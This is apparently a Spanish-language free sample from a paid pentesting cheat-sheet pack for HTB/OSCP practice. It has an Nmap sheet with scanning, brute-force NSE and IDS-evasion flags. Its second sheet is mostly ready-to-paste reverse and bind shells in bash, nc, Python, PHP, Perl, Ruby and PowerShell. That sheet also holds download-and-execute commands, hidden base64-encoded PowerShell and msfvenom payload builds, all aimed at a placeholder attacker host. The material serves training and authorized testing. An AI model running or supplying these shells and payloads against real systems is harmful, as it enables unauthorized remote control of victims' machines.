ChuletaRoot_

# Muestra Gratis.

Dos chuletas del pack completo. El resto, en la tienda.

root@chuleta:~# cat README · v1.0 · 2026

# Contenido


01 Nmap: Chuleta de Escaneo

Descubrimiento de hosts, escaneos TCP/UDP, detección de versiones, NSE, evasión básica y un flujo de trabajo probado para HTB/OSCP/eJPT.

02 Reverse Shells y TTY

Reverse y bind shells en bash, nc, python, php y PowerShell, listeners, msfvenom básico, estabilización a TTY completa y troubleshooting.



Uso exclusivo en laboratorios propios, plataformas de práctica (HTB, THM, PG) y auditorías con autorización escrita. Este material es para uso personal: no lo redistribuyas.

# Nmap: Chuleta de Escaneo

#01

Descubrimiento de hosts, escaneos TCP/UDP, detección de versiones, NSE, evasión básica y un flujo de trabajo probado para HTB/OSCP/eJPT.

Uso exclusivo en laboratorios y entornos con autorización explícita por escrito.

## Flujo recomendado

La idea es ir de lo rápido a lo profundo. No lances `-A` a ciegas contra 65535 puertos: pierdes tiempo y ruido.

1. Descubrir hosts vivos (si tienes un rango).
2. Barrido rápido de todos los puertos TCP.
3. Escaneo profundo solo sobre los puertos abiertos.
4. UDP en los puertos top (es lento, déjalo corriendo en segundo plano).
5. Scripts NSE dirigidos según el servicio.

```
# Paso 2: todos los puertos, rápido
sudo nmap -p- --min-rate 5000 -T4 -n -Pn -oA nmap/allports 10.10.10.5

# Extraer los puertos abiertos en formato 22,80,445
ports=$(grep -oP '\d+(?=/open)' nmap/allports.gnmap | paste -sd,)

# Paso 3: profundo solo en esos puertos
sudo nmap -p"$ports" -sC -sV -O -oA nmap/targeted 10.10.10.5
```

Cuándo usarlo: casi siempre como primer contacto con una máquina de HTB o del examen.

## Descubrimiento de hosts

| Flag | Qué hace | Cuándo |
|---|---|---|
| `-sn` | Ping scan, sin puertos | Mapear una subred |
| `-PR` | ARP (default en LAN) | Misma red local, muy fiable |
| `-PE` / `-PP` | ICMP echo / timestamp | Redes que bloquean solo echo |
| `-PS22,80,443` | SYN a puertos dados | Hosts que filtran ICMP |
| `-PA80` | ACK a puerto dado | Firewalls sin estado |
| `-Pn` | Asume que el host está vivo | Cuando el ping falla pero sabes que existe |
| `-n` | No resolver DNS | Más rápido |

```
# Subred completa, solo lista de vivos
sudo nmap -sn 10.10.10.0/24 -oG - | awk '/Up$/{print $2}' > vivos.txt

# Sin ICMP, usando TCP
sudo nmap -sn -PS22,80,443,445 -PA80 10.10.10.0/24

# Escanear desde lista
nmap -iL vivos.txt -p- --min-rate 3000 -oA nmap/red
```

Nota: sin root, `-sn` usa connect() en lugar de ARP y es menos fiable. En HTB casi siempre usarás `-Pn` porque el ICMP suele estar filtrado.

## Escaneos TCP y UDP

```
# SYN scan (default con root): rápido y sigiloso
sudo nmap -sS 10.10.10.5

# Connect scan (sin root, o a través de proxychains)
nmap -sT 10.10.10.5

# Top puertos / rangos específicos
nmap --top-ports 1000 10.10.10.5
nmap -p 1-1024,3306,8000-8100 10.10.10.5

# UDP: siempre acota los puertos
sudo nmap -sU --top-ports 25 -n 10.10.10.5
sudo nmap -sU -p 53,69,123,161,500 -sV 10.10.10.5

# TCP + UDP en una sola corrida
sudo nmap -sS -sU -p T:1-1000,U:53,161 10.10.10.5
```

Puertos UDP que vale la pena mirar siempre: 53 (DNS), 69 (TFTP), 123 (NTP), 161 (SNMP), 500 (IKE), 1900 (UPnP).

Velocidad: `--min-rate 5000` fuerza la tasa mínima de paquetes. En HTB funciona bien; en redes reales o inestables puede perder puertos. Si sospechas falsos negativos, baja a `--min-rate 1000` o usa `-T3`.

## Interpretación de estados

| Estado | Significado | Qué hacer |
|---|---|---|
| `open` | Hay un servicio escuchando | Enumerar |
| `closed` | Responde RST, nadie escucha | Host vivo, puerto sin servicio |
| `filtered` | Sin respuesta o ICMP unreachable; firewall | Probar otras técnicas o reintentar |
| `unfiltered` | Alcanzable pero no se sabe si abierto (solo `-sA`) | Combinar con otro scan |
| `open\|filtered` | No se puede distinguir (típico en UDP, `-sF/-sN/-sX`) | Añadir `-sV` o probar con payload |
| `closed\|filtered` | Ambiguo (`-sI` idle scan) | Raro |

Pista rápida: si TODOS los puertos salen `filtered`, probablemente hay un firewall; si todos `closed`, el host está vivo y sin firewall sobre esos puertos. Mira la columna `REASON` con `--reason` (por ejemplo `syn-ack`, `reset`, `no-response`).

## Versiones, OS y scripts NSE

```
# Versión (intensidad 0-9, default 7)
nmap -sV --version-intensity 9 -p 80,443 10.10.10.5

# OS detection
sudo nmap -O --osscan-guess 10.10.10.5

# Combo clásico (scripts default + versión)
nmap -sC -sV -p 22,80 10.10.10.5

# Agresivo (incluye traceroute): ruidoso
sudo nmap -A -p 22,80 10.10.10.5

# Un script concreto o una categoría
nmap --script=http-title,http-headers -p 80 10.10.10.5
nmap --script "vuln and safe" -p 445 10.10.10.5
nmap --script-help smb-enum-shares
ls /usr/share/nmap/scripts | grep -i smb
```

NSE útiles por servicio:

```
# SMB
nmap --script smb-os-discovery,smb-enum-shares,smb-vuln-ms17-010 -p445 10.10.10.5
# HTTP
nmap --script http-enum,http-methods,http-robots.txt -p80 10.10.10.5
# FTP
nmap --script ftp-anon,ftp-syst -p21 10.10.10.5
# DNS
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=dominio.htb -p53 10.10.10.5
# SNMP
nmap -sU --script snmp-info,snmp-processes -p161 10.10.10.5
# SMTP
nmap --script smtp-commands,smtp-enum-users -p25 10.10.10.5
# MySQL / MSSQL
nmap --script mysql-info,mysql-empty-password -p3306 10.10.10.5
nmap --script ms-sql-info,ms-sql-empty-password -p1433 10.10.10.5
# Fuerza bruta (usar con cuidado, solo si el alcance lo permite)
nmap --script ssh-brute --script-args userdb=users.txt,passdb=pass.txt -p22 10.10.10.5
```

Cuándo usarlo: `--script vuln` es útil como pista inicial, pero produce falsos positivos; confirma a mano antes de explotar.

## Evasión básica y ajustes de ruido

En labs casi nunca hace falta, pero conviene conocerlo (y para el examen: entender qué hace cada flag).

```
# Fragmentar paquetes
sudo nmap -f 10.10.10.5
sudo nmap --mtu 24 10.10.10.5

# Puerto origen conocido (a veces el firewall deja pasar el 53 o 80)
sudo nmap --source-port 53 10.10.10.5

# Señuelos (el tuyo se mezcla entre ellos)
sudo nmap -D RND:5 10.10.10.5

# Padding de datos y MAC falsa
sudo nmap --data-length 25 --spoof-mac 0 10.10.10.5

# Más lento y espaciado
nmap -T2 --scan-delay 1s --max-retries 1 10.10.10.5

# ACK scan para mapear reglas de firewall (no detecta abiertos)
sudo nmap -sA -p 1-1000 10.10.10.5
```

Plantilla de tiempos: `-T0` y `-T1` (IDS evasion, muy lento), `-T3` (default), `-T4` (recomendado en LAN/HTB), `-T5` (puede perder resultados).

## Salida, reanudar y utilidades

```
# Formatos: normal (-oN), grepable (-oG), XML (-oX), todos (-oA prefijo)
nmap -sC -sV -oA nmap/full 10.10.10.5

# Convertir XML a HTML
xsltproc nmap/full.xml -o nmap/full.html

# Reanudar un scan interrumpido (solo -oN o -oG)
nmap --resume nmap/full.nmap

# Ver progreso: pulsa 'v' (más verbose) o la barra espaciadora; o usa:
nmap --stats-every 10s -p- 10.10.10.5

# Por si se cae el resolver o hay dominios
echo "10.10.10.5 maquina.htb" | sudo tee -a /etc/hosts
```

Alternativa rápida para barrer puertos y luego pasar a nmap: `rustscan -a 10.10.10.5 -- -sC -sV`. Útil, pero aprende primero el flujo con nmap puro; en el OSCP y en entornos reales te conviene entender cada paso.

## Errores comunes

- Escanear solo los 1000 puertos por defecto y perderte un servicio en un puerto alto (8443, 50000, etc.). Haz siempre `-p-`.
- Olvidar UDP. SNMP, TFTP o IKE sin revisar es una fuente típica de punto de entrada.
- Correr `-sS`, `-sU` u `-O` sin `sudo`: nmap cae silenciosamente a `-sT` o falla.
- Usar `-T5` o `--min-rate` altísimo en redes lentas y confiar en el resultado "cerrado". Repite los puertos sospechosos.
- Dejar el DNS activo: sin `-n`, nmap se queda esperando resolución inversa.
- Creer que `filtered` es lo mismo que `closed`. Filtered significa que algo bloquea; puede haber un servicio detrás.
- Confiar ciegamente en `-sV` / `-O`: son heurísticas. Verifica banners con `nc` o `curl -i`.
- Ejecutar `--script vuln` y tratar cada salida como explotable. Valida manualmente.
- No guardar la salida con `-oA`. Cuando cambies de máquina querrás consultarla otra vez.
- Escanear con `-Pn` omitido y concluir "host caído" porque el ICMP está bloqueado.

# Reverse Shells y TTY

#02

Reverse y bind shells en bash, nc, python, php y PowerShell, listeners, msfvenom básico, estabilización a TTY completa y troubleshooting.

Uso exclusivo en laboratorios y entornos con autorización explícita por escrito.

## Conceptos y variables

- Reverse shell: la víctima se conecta a ti. Es lo más usado porque los firewalls suelen permitir tráfico saliente.
- Bind shell: la víctima abre un puerto y tú te conectas. Útil cuando no hay salida hacia tu máquina.

En los ejemplos, sustituye `ATACANTE` por tu IP (en HTB, la de `tun0`) y `4444` por tu puerto.

```
# Tu IP en la VPN
ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'
```

Consejo: usa puertos que probablemente salgan (80, 443, 53). Si el 4444 no conecta, prueba el 443.

## Listeners

```
# Netcat clásico
nc -lvnp 4444

# Con historial y flechas (recomendado para shells sin TTY)
rlwrap nc -lvnp 4444

# Ncat con TLS (cifrado, evita inspección simple)
ncat --ssl -lvnp 443

# Socat (necesario para TTY completa directa)
socat -d -d TCP-LISTEN:4444,reuseaddr,fork STDOUT

# Metasploit
msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST tun0;
set LPORT 4444; run"

# Pwncat-cs (estabiliza y sube archivos automáticamente)
pwncat-cs -lp 4444
```

Cuándo usarlo: `rlwrap nc` para el 90% de los casos; `pwncat-cs` si quieres que estabilice solo.

## Reverse shells en Linux

```
# Bash (necesita /dev/tcp, no existe en sh/dash)
bash -i >& /dev/tcp/ATACANTE/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATACANTE/4444 0>&1'

# Netcat con -e (versiones tradicionales)
nc -e /bin/bash ATACANTE 4444

# Netcat sin -e (openbsd): FIFO
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATACANTE 4444 > /tmp/f

# Python 3
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATACANTE",4444));
[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

# PHP
php -r '$s=fsockopen("ATACANTE",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl
perl -e 'use
Socket;$i="ATACANTE";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_i
n($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

# Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ATACANTE",4444);while(cmd=c.gets);IO.popen(cmd,"r")
{|io|c.print io.read}end'
```

Dentro de una URL o parámetro, codifica los caracteres especiales ( `&` = `%26` , espacio = `%20` o `+` ). Una forma limpia es pasar el payload en base64:

```
echo 'bash -i >& /dev/tcp/ATACANTE/4444 0>&1' | base64 -w0
# En la víctima:
echo BASE64_AQUI | base64 -d | bash
```

## Reverse shells en Windows

```
# PowerShell one-liner (TCPClient)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATACANTE',4444);$s=$c.GetStream();
[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object
Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$o=
([text.encoding]::ASCII).GetBytes($r+'PS '+(pwd).Path+'>
');$s.Write($o,0,$o.Length);$s.Flush()};$c.Close()"
```

Para evitar problemas de comillas, codifícalo en UTF-16LE + base64:

```
# En Kali
echo -n '$c=New-Object Net.Sockets.TCPClient("ATACANTE",4444);...' | iconv -t UTF-16LE | base64 -w0
```

```
# En la víctima
powershell -nop -w hidden -enc BASE64_AQUI

# Descargar y ejecutar un script remoto
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://ATACANTE/shell.ps1')"

# Netcat para Windows (si subes nc.exe)
nc.exe ATACANTE 4444 -e cmd.exe
```

Puedes servir los archivos con `python3 -m http.server 80` o `impacket-smbserver share . -smb2support`.

## Bind shells y msfvenom

```
# Bind con netcat (víctima)
nc -lvnp 4444 -e /bin/bash
# Atacante
nc 10.10.10.5 4444

# Bind con socat
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash
```

msfvenom genera payloads en el formato necesario:

```
# Listar payloads y formatos
msfvenom -l payloads | grep reverse_tcp
msfvenom -l formats

# Linux ELF (stageless: sin Metasploit handler, usa nc)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATACANTE LPORT=4444 -f elf -o shell.elf

# Windows EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATACANTE LPORT=4444 -f exe -o shell.exe

# Meterpreter (requiere handler multi/handler)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATACANTE LPORT=4444 -f exe -o met.exe

# Web: PHP, JSP, WAR, ASPX
msfvenom -p php/reverse_php LHOST=ATACANTE LPORT=4444 -f raw -o shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATACANTE LPORT=4444 -f war -o shell.war
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATACANTE LPORT=4444 -f aspx -o shell.aspx

# Evitar caracteres problemáticos en un exploit
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATACANTE LPORT=4444 -b "\x00\x0a\x0d" -f python
```

Nota sobre nombres: `windows/shell_reverse_tcp` (con guion bajo, stageless) se atrapa con `nc`. `windows/shell/reverse_tcp` (con barra, staged) necesita `multi/handler`. Confundirlos es el error número uno.

## Upgrade a TTY completa

Una shell recién recibida no tiene TTY: no funcionan Ctrl+C, flechas, `su`, `sudo` ni editores. Para arreglarlo:

```
# 1. En la víctima: crear pseudo-terminal
python3 -c 'import pty;pty.spawn("/bin/bash")'
# (alternativas)
script -qc /bin/bash /dev/null
/usr/bin/script -qc /bin/bash /dev/null

# 2. Pasa la shell a segundo plano con Ctrl+Z

# 3. En tu Kali: modo raw y volver
stty raw -echo; fg
# (escribe 'reset' y Enter si se ve raro)

# 4. De vuelta en la víctima
export TERM=xterm-256color
export SHELL=/bin/bash
stty rows 40 columns 160
```

Para sacar las dimensiones correctas, en una terminal local de Kali ejecuta `stty size` y copia esos valores en el paso 4.

Alternativa con socat (TTY completa desde el inicio):

```
# Atacante
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Víctima (necesita socat; puedes subir un binario estático)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATACANTE:4444
```

En Windows no existe esto. Usa `rlwrap nc -lvnp 4444` o la shell interactiva de ConPtyShell:

```
IEX(IWR http://ATACANTE/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell ATACANTE 4444
```

## Troubleshooting

| Síntoma | Causa probable | Solución |
|---|---|---|
| Conecta y se cierra de inmediato | Payload no persistente o proceso hijo muerto | Usar `nohup`, `setsid` o `mkfifo` |
| `bad fd number` / `Syntax error: Bad fd` | Ejecutando bash-ism en `sh` | `bash -c '...'` |
| No llega nada | Firewall de salida | Probar 80, 443, 53; o bind shell |
| Shell sin eco o escalonada | Falta TTY | Usar el upgrade de arriba |
| Caracteres rotos al inyectar | Falta URL-encode | Base64 o `${IFS}` en vez de espacios |
| Se cuelga al pulsar Ctrl+C | Sin TTY | Primero estabilizar |
| `nc: invalid option -- e` | Netcat openbsd | Usar FIFO o python |

```
# Comprobar si la víctima tiene salida
curl http://ATACANTE:8000/test      # con python3 -m http.server 8000 abierto
ping -c1 ATACANTE
# Ver qué intérpretes hay disponibles
which python python3 nc ncat socat perl php bash
```

## Errores comunes

- Escribir mal LHOST o usar la IP de `eth0` en vez de `tun0` en HTB.
- Olvidar levantar el listener antes de disparar el payload.
- Elegir un puerto bloqueado por salida; prueba 443 o 80.
- Pegar un one-liner de bash en un entorno donde `/bin/sh` es dash: envuélvelo con `bash -c`.
- Confundir payloads staged y stageless con msfvenom.
- Hacer Ctrl+C directamente sobre la shell sin TTY: cierras tu conexión. Estabiliza antes.
- No reescribir `export TERM` y luego sufrir con `clear`, `nano` o `vim`.
- Olvidar escribir `reset` tras `stty raw -echo` cuando la terminal se ve rota.
- Subir binarios con arquitectura equivocada (x86 vs x64): revisa con `uname -m` o `systeminfo`.
- Dejar payloads y listeners activos tras terminar; en un engagement real, límpialos.